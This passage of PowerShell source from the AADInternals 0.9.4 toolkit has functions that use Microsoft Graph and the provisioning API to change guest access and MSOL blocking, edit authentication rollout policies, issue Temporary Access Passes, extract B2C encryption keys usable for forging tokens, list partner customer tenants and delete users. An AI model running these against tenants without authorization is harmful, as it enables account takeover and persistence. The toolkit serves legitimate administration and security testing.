$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://graph.microsoft.com" -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894"
$results = Call-MSGraphAPI -AccessToken $AccessToken -API "policies/authorizationPolicy"
return $results
}
}
# Gets the guest account restrictions
# Sep 18th 2020
function Get-TenantGuestAccess
{
<#
.SYNOPSIS
Gets the guest access level of the user's tenant.
.DESCRIPTION
Gets the guest access level of the user's tenant.
Inclusive: Guest users have the same access as members
Normal: Guest users have limited access to properties and memberships of directory objects
Restricted: Guest user access is restricted to properties and memberships of their own directory objects (most restrictive)
.PARAMETER AccessToken
Access token used to retrieve the access level.
.Example
Get-AADIntAccessTokenForMSGraph -SaveToCache
PS C:\>Get-AADIntTenantGuestAccess
Access Description RoleId
------ ----------- ------
Normal Guest users have limited access to properties and memberships of directory objects 10dae51f-b6af-4016-8d66-8c2a99b929b3
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://graph.microsoft.com" -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894"
$policy = Get-TenantAuthPolicy -AccessToken $AccessToken
$roleId = $policy.guestUserRoleId
switch($roleId)
{
"a0b1b346-4d3e-4e8b-98f8-753987be4970" {
$attributes=[ordered]@{
"Access" = "Full"
"Description" = "Guest users have the same access as members"
}
break
}
"10dae51f-b6af-4016-8d66-8c2a99b929b3" {
$attributes=[ordered]@{
"Access" = "Normal"
"Description" = "Guest users have limited access to properties and memberships of directory objects"
}
break
}
"2af84b1e-32c8-42b7-82bc-daa82404023b" {
$attributes=[ordered]@{
"Access" = "Restricted"
"Description" = "Guest user access is restricted to properties and memberships of their own directory objects (most restrictive)"
}
break
}
}
$attributes["RoleId"] = $roleId
return New-Object psobject -Property $attributes
}
}
# Sets the guest account restrictions
# Sep 18th 2020
function Set-TenantGuestAccess
{
<#
.SYNOPSIS
Sets the guest access level for the user's tenant.
.DESCRIPTION
Sets the guest access level for the user's tenant.
Inclusive: Guest users have the same access as members
Normal: Guest users have limited access to properties and memberships of directory objects
Restricted: Guest user access is restricted to properties and memberships of their own directory objects (most restrictive)
.PARAMETER AccessToken
Access token used to retrieve the access level.
.PARAMETER Level
Guest access level. One of Inclusive, Normal, or Restricted.
.Example
Get-AADIntAccessTokenForMSGraph
PS C:\>Set-AADIntTenantGuestAccess -Level Normal
Access Description RoleId
------ ----------- ------
Normal Guest users have limited access to properties and memberships of directory objects 10dae51f-b6af-4016-8d66-8c2a99b929b3
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[ValidateSet('Full','Normal','Restricted')]
[String]$Level
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://graph.microsoft.com" -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894"
switch($Level)
{
"Full" {$roleId = "a0b1b346-4d3e-4e8b-98f8-753987be4970"; break}
"Normal" {$roleId = "10dae51f-b6af-4016-8d66-8c2a99b929b3"; break}
"Restricted" {$roleId = "2af84b1e-32c8-42b7-82bc-daa82404023b"; break}
}
$body = "{""guestUserRoleId"":""$roleId""}"
Call-MSGraphAPI -AccessToken $AccessToken -API "policies/authorizationPolicy/authorizationPolicy" -Method "PATCH" -Body $body
Get-TenantGuestAccess -AccessToken $AccessToken
}
}
# Enables Msol PowerShell access
# Sep 18th 2020
function Enable-TenantMsolAccess
{
<#
.SYNOPSIS
Enables Msol PowerShell module access for the user's tenant.
.DESCRIPTION
Enables Msol PowerShell module access for the user's tenant.
.PARAMETER AccessToken
Access token used to enable the Msol PowerShell access.
.Example
Get-AADIntAccessTokenForMSGraph
PS C:\>Enable-AADIntTenantMsolAccess
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://graph.microsoft.com" -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894"
$body = '{"blockMsolPowerShell":"false"}'
Call-MSGraphAPI -AccessToken $AccessToken -API "policies/authorizationPolicy/authorizationPolicy" -Method "PATCH" -Body $body
}
}
# Disables Msol PowerShell access
# Sep 18th 2020
function Disable-TenantMsolAccess
{
<#
.SYNOPSIS
Disables Msol PowerShell module access for the user's tenant.
.DESCRIPTION
Disables Msol PowerShell module access for the user's tenant.
.PARAMETER AccessToken
Access token used to disable the Msol PowerShell access.
.Example
Get-AADIntAccessTokenForMSGraph
PS C:\>Disable-AADIntTenantMsolAccess
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://graph.microsoft.com" -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894"
$body = '{"blockMsolPowerShell":"true"}'
Call-MSGraphAPI -AccessToken $AccessToken -API "policies/authorizationPolicy/authorizationPolicy" -Method "PATCH" -Body $body
}
}
# Get rollout policies
# Jan 7th 2021
function Get-RolloutPolicies
{
<#
.SYNOPSIS
Gets the tenant's rollout policies.
.DESCRIPTION
Gets the tenant's rollout policies.
.PARAMETER AccessToken
Access token used to get tenant's rollout policies.
.Example
Get-AADIntAccessTokenForMSGraph -SaveToCache
PS C:\>Get-AADIntRolloutPolicies
id : cdcb37e1-9c4a-4de9-a7f5-65fdf9f6241d
displayName : passthroughAuthentication rollout policy
description :
feature : passthroughAuthentication
isEnabled : True
isAppliedToOrganization : False
id : 3c89cd34-275c-4cba-8d8e-80338db7df91
displayName : seamlessSso rollout policy
description :
feature : seamlessSso
isEnabled : True
isAppliedToOrganization : False
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://graph.microsoft.com" -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894"
Call-MSGraphAPI -AccessToken $AccessToken -API "directory/featureRolloutPolicies" -ApiVersion beta
}
}
# Get rollout policy groups
# Jan 7th 2021
function Get-RolloutPolicyGroups
{
<#
.SYNOPSIS
Gets groups of the given rollout policy.
.DESCRIPTION
Gets groups of the given rollout policy.
.PARAMETER AccessToken
Access token used to get rollout policy groups.
.PARAMETER PolicyId
Guid of the rollout policy.
.Example
Get-AADIntAccessTokenForMSGraph -SaveToCache
PS C:\>Get-AADIntRolloutPolicyGroups -PolicyId cdcb37e1-9c4a-4de9-a7f5-65fdf9f6241d | Select displayName,id
displayName id
----------- --
PTA SSO Sales b9faf3ba-db5f-4ed2-b9c8-0fd5916de1f3
PTA SSO Markering f35d712f-dcdb-4040-a93d-ffd04aff3f75
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[GUID]$PolicyId
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://graph.microsoft.com" -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894"
$response=Call-MSGraphAPI -AccessToken $AccessToken -API "directory/featureRolloutPolicies/$($PolicyId.ToString())" -QueryString "`$expand=appliesTo" -ApiVersion beta
$response.appliesTo
}
}
# Add groups to rollout policy
# Jan 7th 2021
function Add-RolloutPolicyGroups
{
<#
.SYNOPSIS
Adds given groups to the given rollout policy.
.DESCRIPTION
Adds given groups to the given rollout policy.
Status meaning:
204 The group successfully added
400 Invalid group id
404 Invalid policy id
.PARAMETER AccessToken
Access token used to add rollout policy groups.
.PARAMETER PolicyId
Guid of the rollout policy.
.PARAMETER GroupIds
List of group guids.
.Example
Get-AADIntAccessTokenForMSGraph -SaveToCache
PS C:\>Add-AADIntRolloutPolicyGroups -PolicyId cdcb37e1-9c4a-4de9-a7f5-65fdf9f6241d -GroupIds b9faf3ba-db5f-4ed2-b9c8-0fd5916de1f3,f35d712f-dcdb-4040-a93d-ffd04aff3f75
id status
-- ------
b9faf3ba-db5f-4ed2-b9c8-0fd5916de1f3 204
f35d712f-dcdb-4040-a93d-ffd04aff3f75 204
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[GUID]$PolicyId,
[Parameter(Mandatory=$True)]
[GUID[]]$GroupIds
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://graph.microsoft.com" -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894"
# Build the body
$requests = @()
foreach($GroupId in $GroupIds)
{
$id = $GroupId.toString()
$request = @{
"id" = $id
"method" = "POST"
"url" = "directory/featureRolloutPolicies/$($PolicyId.toString())/appliesTo/`$ref"
"body" = @{ "@odata.id" = "https://graph.microsoft.com/beta/directoryObjects/$id" }
"headers" = @{ "Content-Type" = "application/json" }
}
$requests += $request
}
$body = @{ "requests" = $requests } | ConvertTo-Json -Depth 5
$response = Call-MSGraphAPI -AccessToken $AccessToken -API "`$batch" -ApiVersion beta -Method "POST" -Body $body
if($response.responses[0].body.error.message)
{
Write-Error $response.responses[0].body.error.message
}
else
{
$response.responses | select id,status
}
}
}
# Removes groups from the rollout policy
# Jan 7th 2021
function Remove-RolloutPolicyGroups
{
<#
.SYNOPSIS
Removes given groups from the given rollout policy.
.DESCRIPTION
Removes given groups from the given rollout policy.
Status meaning:
204 The group successfully added
400 Invalid group id
404 Invalid policy id
.PARAMETER AccessToken
Access token used to remove rollout policy groups.
.PARAMETER PolicyId
Guid of the rollout policy.
.PARAMETER GroupIds
List of group guids.
.Example
Get-AADIntAccessTokenForMSGraph -SaveToCache
PS C:\>Remove-AADIntRolloutPolicyGroups -PolicyId cdcb37e1-9c4a-4de9-a7f5-65fdf9f6241d -GroupIds b9faf3ba-db5f-4ed2-b9c8-0fd5916de1f3,f35d712f-dcdb-4040-a93d-ffd04aff3f75
id status
-- ------
b9faf3ba-db5f-4ed2-b9c8-0fd5916de1f3 204
f35d712f-dcdb-4040-a93d-ffd04aff3f75 204
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[GUID]$PolicyId,
[Parameter(Mandatory=$True)]
[GUID[]]$GroupIds
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://graph.microsoft.com" -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894"
# Build the body
$requests = @()
foreach($GroupId in $GroupIds)
{
$id = $GroupId.toString()
$request = @{
"id" = $id
"method" = "DELETE"
"url" = "directory/featureRolloutPolicies/$($PolicyId.toString())/appliesTo/$id/`$ref"
}
$requests += $request
}
$body = @{ "requests" = $requests } | ConvertTo-Json -Depth 5
$response = Call-MSGraphAPI -AccessToken $AccessToken -API "`$batch" -ApiVersion beta -Method "POST" -Body $body
if($response.responses[0].body.error.message)
{
Write-Error $response.responses[0].body.error.message
}
else
{
$response.responses | select id,status
}
}
}
# Set rollout policy
# Jan 7th 2021
function Remove-RolloutPolicy
{
<#
.SYNOPSIS
Removes the given rollout policy.
.DESCRIPTION
Removes the given rollout policy. The policy MUST be disabled before it can be removed.
.PARAMETER AccessToken
Access token used to get tenant's rollout policies.
.PARAMETER PolicyId
Guid of the rollout policy.
.Example
Get-AADIntAccessTokenForMSGraph -SaveToCache
PS C:\>Remove-AADIntRolloutPolicy -PolicyId 3c89cd34-275c-4cba-8d8e-80338db7df91
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[GUID]$PolicyId
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://graph.microsoft.com" -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894"
Call-MSGraphAPI -AccessToken $AccessToken -API "directory/featureRolloutPolicies/$($PolicyId.ToString())" -ApiVersion beta -Method DELETE
}
}
# Set rollout policy
# Jan 7th 2021
function Set-RolloutPolicy
{
<#
.SYNOPSIS
Creates a new rollout policy or edits existing one.
.DESCRIPTION
Creates a new rollout policy by name or edits existing one with policy id.
.PARAMETER AccessToken
Access token used to get tenant's rollout policies.
.PARAMETER PolicyId
Guid of the rollout policy.
.PARAMETER Policy
Name of the rollout policy. Can be one of: passwordHashSync, passthroughAuthentication, or seamlessSso
.PARAMETER Enable
Boolean value indicating is the feature enabled or not.
.PARAMETER EnableToOrganization
Boolean value indicating is the feature enabled for the whole organization. Currently not supported.
.Example
Get-AADIntAccessTokenForMSGraph -SaveToCache
PS C:\>Set-AADIntRolloutPolicy -Policy passthroughAuthentication -Enable $True
@odata.context : https://graph.microsoft.com/beta/$metadata#directory/featureRolloutPolicies/$entity
id : 1eec3ce2-5af1-4460-9cc4-1af7a6c15eb1
displayName : passthroughAuthentication rollout policy
description :
feature : passthroughAuthentication
isEnabled : True
isAppliedToOrganization : False
.Example
Get-AADIntAccessTokenForMSGraph -SaveToCache
PS C:\>Set-AADIntRolloutPolicy -PolicyId 1eec3ce2-5af1-4460-9cc4-1af7a6c15eb1 -Enable $False
@odata.context : https://graph.microsoft.com/beta/$metadata#directory/featureRolloutPolicies/$entity
id : 1eec3ce2-5af1-4460-9cc4-1af7a6c15eb1
displayName : passthroughAuthentication rollout policy
description :
feature : passthroughAuthentication
isEnabled : True
isAppliedToOrganization : False
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(ParameterSetName='id',Mandatory=$True)]
[GUID]$PolicyId,
[Parameter(Mandatory=$True)]
[bool]$Enable,
[Parameter(ParameterSetName='type',Mandatory=$True)]
[ValidateSet('passwordHashSync','passthroughAuthentication','seamlessSso')]
[String]$Policy,
[Parameter(Mandatory=$False)]
[bool]$EnableToOrganization = $false
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://graph.microsoft.com" -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894"
try
{
if($Policy)
{
$body = @{
"feature" = "$Policy"
"isEnabled" = $Enable
#"isAppliedToOrganization" = $EnableToOrganization
"displayName" = "$Policy rollout policy"}
$response = Call-MSGraphAPI -AccessToken $AccessToken -API "directory/featureRolloutPolicies" -ApiVersion beta -Method POST -Body $($body | ConvertTo-Json -Depth 5)
}
else
{
$body = @{
"isEnabled" = $Enable
#"isAppliedToOrganization" = $EnableToOrganization
}
$response = Call-MSGraphAPI -AccessToken $AccessToken -API "directory/featureRolloutPolicies/$($PolicyId.ToString())" -ApiVersion beta -Method PATCH -Body $($body | ConvertTo-Json -Depth 5)
}
}
catch
{
$error = $_.ErrorDetails.Message | ConvertFrom-Json
Write-Error $error.error.message
}
$response
}
}
# Return the default domain for the given tenantid
# Sep 28th 2022
function Get-TenantDomain
{
<#
.SYNOPSIS
Returns the default domain for the given tenant id
.DESCRIPTION
Returns the default domain for the given tenant id
.Example
Get-AADIntAccessTokenForMSGraph -SaveToCache
PS C:\>Get-AADIntTenantDomain -TenantId 72f988bf-86f1-41af-91ab-2d7cd011db47
microsoft.onmicrosoft.com
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$TenantId
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://graph.microsoft.com" -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894"
$results=Call-MSGraphAPI -AccessToken $AccessToken -API "tenantRelationships/findTenantInformationByTenantId(tenantId='$TenantId')"
Write-Verbose $results
return $results.defaultDomainName
}
}
# Adds a new TAP for the given user
# Jun 26th 2023
function New-UserTAP
{
<#
.SYNOPSIS
Creates a new Temporary Access Pass (TAP) for the given user.
.DESCRIPTION
Creates a new Temporary Access Pass (TAP) for the given user.
.PARAMETER
.Example
Get-AADIntAccessTokenForMSGraph -SaveToCache
PS C:\>Get-AADIntTenantDomain -TenantId 72f988bf-86f1-41af-91ab-2d7cd011db47
microsoft.onmicrosoft.com
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[switch]$UsableOnce,
[Parameter(Mandatory=$False)]
[ValidateRange(10, 43200)]
[int]$Lifetime = 60,
[Parameter(Mandatory=$False)]
[DateTime]$StartTime = (Get-Date),
[Parameter(Mandatory=$True)]
[String]$User
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://graph.microsoft.com" -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894"
# Create the body
$body = @{
"startDateTime" = ($StartTime).ToUniversalTime().toString("yyyy-MM-ddTHH:mm:ssZ").Replace(".",":")
"lifetimeInMinutes" = $Lifetime
"isUsableOnce" = $UsableOnce -eq $true
}
$results = Call-MSGraphAPI -AccessToken $AccessToken -API "users/$user/authentication/temporaryAccessPassMethods" -Method POST -Body ($body | ConvertTo-Json)
return $results.temporaryAccessPass
}
}
# Return B2C trust framework keysets
# Sep 13th 2022
function Get-B2CEncryptionKeys
{
<#
.SYNOPSIS
Gets B2C trust framework encryption keys. Can be used to create authorization codes and refresh tokens.
.DESCRIPTION
Gets B2C trust framework encryption keys. Can be used to create authorization codes and refresh tokens.
Requires one of the following roles: B2C IEF Keyset Administrator, Global Reader, Global Administrator.
.PARAMETER AccessToken
AccessToken
.Example
Get-AADIntAccessTokenForMSGraph -SaveToCache
PS C:\>Get-AADIntB2CEncryptionKeys
Container Id Key
--------- -- ---
B2C_1A_test XZ0q5X-Zu_oY2mX-El89a1YEsh4FRj0e5xpGMjJ94uE System.Security.Cryptography.RSACryptoServiceProvider
B2C_1A_TokenEncryptionKeyContainer My_custom_key_id System.Security.Cryptography.RSACryptoServiceProvider
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://graph.microsoft.com" -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894"
# Get all keysets
$results=Call-MSGraphAPI -AccessToken $AccessToken -API "trustFramework/keySets"
# Loop through the results
foreach($container in $results)
{
# Loop through the keys (can be more than one per container)
foreach($key in $container.keys)
{
# Include only RSA encryption keys
if($key.kty -eq "RSA" -and $key.use -eq "enc")
{
# Create the parameters and RSA key
$RSAParameters = [System.Security.Cryptography.RSAParameters]::new()
$RSAParameters.Modulus = Convert-B64ToByteArray -B64 $key.n
$RSAParameters.Exponent = Convert-B64ToByteArray -B64 $key.e
$RSAKey = [System.Security.Cryptography.RSA]::Create()
$RSAKey.ImportParameters($RSAParameters)
# Return
[pscustomobject][ordered]@{
"Container" = $container.id
"Id" = $key.kid
"Key" = $RSAKey
}
}
}
}
}
} |
SARA_utils.ps1 | AADInternals-0.9.4 |
# Jul 8th 2019
function Call-AnalysisAPI
{
[cmdletbinding()]
Param(
[ValidateSet('userInfo','tenantInfo','cloudCheck')]
[String]$Command,
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Body,
[Parameter(Mandatory=$False)]
[String]$Url="https://api.diagnostics.office.com/v1/analysis"
)
Process
{
$headers =@{
"Content-Type" = "application/json;odata=verbose"
"Accept" = "application/json; charset=utf-8"
"Authorization" = $(Create-AuthorizationHeader -AccessToken $AccessToken -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c" -Resource "https://api.diagnostics.office.com")
"x-ms-sara-api-version" = "schema-v1"
"User-Agent" = "saraclient"
}
try
{
$response = Invoke-RestMethod -UseBasicParsing -Uri $url -Method Post -Body $body -Headers $headers
}
catch
{
# Okay, something went wrong
return $null
}
if($url.EndsWith("/analysis"))
{
$sessionId = $response.SessionId
}
else
{
$sessionId = $response.RequestId
}
while($response.RequestStatus -ne "Completed" -and $response.RequestStatus -ne "Failed")
{
Write-Verbose "Retrieving information.."
if($response.ProcessingStatus -eq "Queued")
{
Start-Sleep -Seconds "2"
}
$response = Invoke-RestMethod -UseBasicParsing -Uri "$url/?id=$sessionId" -Method Get -Headers $headers
}
# Return
$response
}
}
|
AADInternals.psm1 | AADInternals-0.9.4 | # Add some assemblies
Add-type -AssemblyName System.xml.linq -ErrorAction SilentlyContinue
Add-Type -AssemblyName System.Runtime.Serialization -ErrorAction SilentlyContinue
Add-Type -AssemblyName System.Web -ErrorAction SilentlyContinue
Add-Type -AssemblyName System.Web.Extensions -ErrorAction SilentlyContinue
Add-Type -path "$PSScriptRoot\BouncyCastle.Crypto.dll" -ErrorAction SilentlyContinue
# Load settings
. "$PSScriptRoot\Configuration.ps1"
Read-Configuration
# Set supported TLS methods
[Net.ServicePointManager]::SecurityProtocol = Get-Setting -Setting "SecurityProtocol"
# Print the welcome message
$manifest = Import-PowerShellDataFile "$PSScriptRoot\AADInternals.psd1"
$version = $manifest.ModuleVersion
# Try to set the window title
try
{
$host.UI.RawUI.WindowTitle="AADInternals $version"
}
catch {}
$logo=@"
___ ___ ____ ____ __ __
/ | / | / __ \/ _/___ / /____ _________ ____ _/ /____
/ /| | / /| | / / / // // __ \/ __/ _ \/ ___/ __ \/ __ ``/ / ___/
/ ___ |/ ___ |/ /_/ _/ // / / / /_/ __/ / / / / / /_/ / (__ )
/_/ |_/_/ |_/_____/___/_/ /_/\__/\___/_/ /_/ /_/\__,_/_/____/
v$version by @DrAzureAD (Nestori Syynimaa)
"@
Write-Host $logo -ForegroundColor Yellow |
ProvisioningAPI.ps1 | AADInternals-0.9.4 | # Autogenerated Sep 23rd 2018
# Get-PartnerContracts
function Get-MSPartnerContracts
{
<#
.SYNOPSIS
Lists partner's customer organisations. Does not require permissions to MS Partner Center or admin rights.
.DESCRIPTION
Lists partner's customer organisations using provisioning API. Does not require permissions to MS Partner Center or admin rights.
.Parameter AccessToken
The access token used to get the list of partner's customer organisations.
.Example
PS C:\>Get-AADIntAccessTokenForAADGraph -SaveToCache
PS C:\>Get-AADIntMSPartnerContracts
CustomerName CustomerTenantId CustomerDefaultDomain ContractType
------------ ---------------- --------------------- ------------
Company dad33f16-69d1-4e32-880e-9c2d21aa3e59 company.com SupportPartnerContract
Contoso 936b7883-4746-4b89-8bc4-c8128795cd7f contoso.onmicrosoft.com ResellerPartnerContract
Adatum 17427dcd-8d61-4c23-9c68-d1f34975b420 adatum.com SupportPartnerContract
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$PartnerContractSearchDefinition,
[Parameter(Mandatory=$False)]
[int]$PageSize=500,
[Parameter(Mandatory=$False)]
[string]$SearchString,
[ValidateSet('Ascending','Descending')]
[string]$SortDirection="Ascending",
[ValidateSet('DisplayName','UserPrincipalName','None')]
[string]$SortField="None",
[Parameter(Mandatory=$False)]
$DomainName,
[Parameter(Mandatory=$False)]
$ManagedTenantId,
[Parameter(Mandatory=$False)]
$SearchKey
)
Process
{
$command="ListPartnerContracts"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:PartnerContractSearchDefinition xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
<c:PageSize>$PageSize</c:PageSize>
<c:SearchString i:nil="true"/>
<c:SortDirection>$SortDirection</c:SortDirection>
<c:SortField>$SortField</c:SortField>
<c:ContractType i:nil="true"/>
<c:DomainName i:nil="true"/>
<c:ManagedTenantId i:nil="true"/>
<c:SearchKey>DisplayName</c:SearchKey>
</b:PartnerContractSearchDefinition>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
if($results.Results.PartnerContract.count -lt 1)
{
$contracts = @($results.Results.PartnerContract)
}
else
{
$contracts = $results.Results.PartnerContract
}
$retVal = @()
foreach($contract in $contracts)
{
$attributes = [ordered]@{
"CustomerName" = $contract.Name
"CustomerTenantId" = $contract.TenantId
"CustomerDefaultDomain" = $contract.DefaultDomainName
"ContractType" = $contract.ContractType
#"ObjectId" = $contract.ObjectId
#"PartnerContext" = $contract.PartnerContext
}
$retVal += New-Object psobject -Property $attributes
}
return $retVal
}
}
# Set-PartnerInformation
# Oct 18th 2018
function Set-PartnerInformation
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$PartnerInformation,
[ValidateSet('CompanyTenant','MicrosoftSupportTenant','SyndicatePartnerTenant','SupportPartnerTenant','ResellerPartnerTenant','ValueAddedResellerPartnerTenant')]
$CompanyType="SupportPartnerTenant",
[Parameter(Mandatory=$False)]
$Contracts,
[Parameter]
[Switch]$DapEnabled,
[Parameter(Mandatory=$True)]
$PartnerTenantId,
[Parameter(Mandatory=$False)]
$PartnerCommerceUrl,
[Parameter(Mandatory=$False)]
$PartnerCompanyName,
[Parameter(Mandatory=$False)]
$PartnerContracts,
[Parameter(Mandatory=$True)]
$PartnerHelpUrl,
[Parameter(Mandatory=$False)]
$PartnerRoleMap,
[Parameter(Mandatory=$True)]
$PartnerSupportEmail,
[Parameter(Mandatory=$True)]
$PartnerSupportTelephone,
[Parameter(Mandatory=$False)]
$PartnerSupportUrl
)
Process
{
$command="SetPartnerInformation"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:PartnerInformation xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
$(Add-CElement -Parameter "CompanyType" -Value $CompanyType)
<c:Contracts i:nil="true"/>
$(Add-CElement -Parameter "DapEnabled" -Value $DapEnabled)
$(Add-CElement -Parameter "ObjectId" -Value $PartnerTenantId)
$(Add-CElement -Parameter "PartnerCompanyName" -Value $PartnerCompanyName)
<c:PartnerCommerceUrl i:nil="true"/>
<c:PartnerContracts i:nil="true"/>
<c:PartnerHelpUrl i:nil="true"/>
<c:PartnerRoleMap i:nil="true"/>
<c:PartnerSupportEmails i:nil="true"/>
<c:PartnerSupportTelephones i:nil="true"/>
<c:PartnerSupportUrl i:nil="true"/>
</b:PartnerInformation>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Remove-UserByUpn
function Remove-UserByUpn
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[Boolean]$RemoveFromRecycleBin=$False,
[Parameter(Mandatory=$True)]
[string]$UserPrincipalName
)
Process
{
$command="RemoveUserByUpn"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:RemoveFromRecycleBin>$(b2s($RemoveFromRecycleBin))</b:RemoveFromRecycleBin>
<b:UserPrincipalName>$UserPrincipalName</b:UserPrincipalName>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Remove-AdministrativeUnit
function Remove-AdministrativeUnit
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ObjectId
)
Process
{
$command="RemoveAdministrativeUnit"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ObjectId>$ObjectId</b:ObjectId>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-Contact
function Get-Contact
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ObjectId
)
Process
{
$command="GetContact"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ObjectId>$ObjectId</b:ObjectId>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-AdministrativeUnit
function Get-AdministrativeUnit
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ObjectId
)
Process
{
$command="GetAdministrativeUnit"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ObjectId>$ObjectId</b:ObjectId>
"@
# Create the envelope and call the API
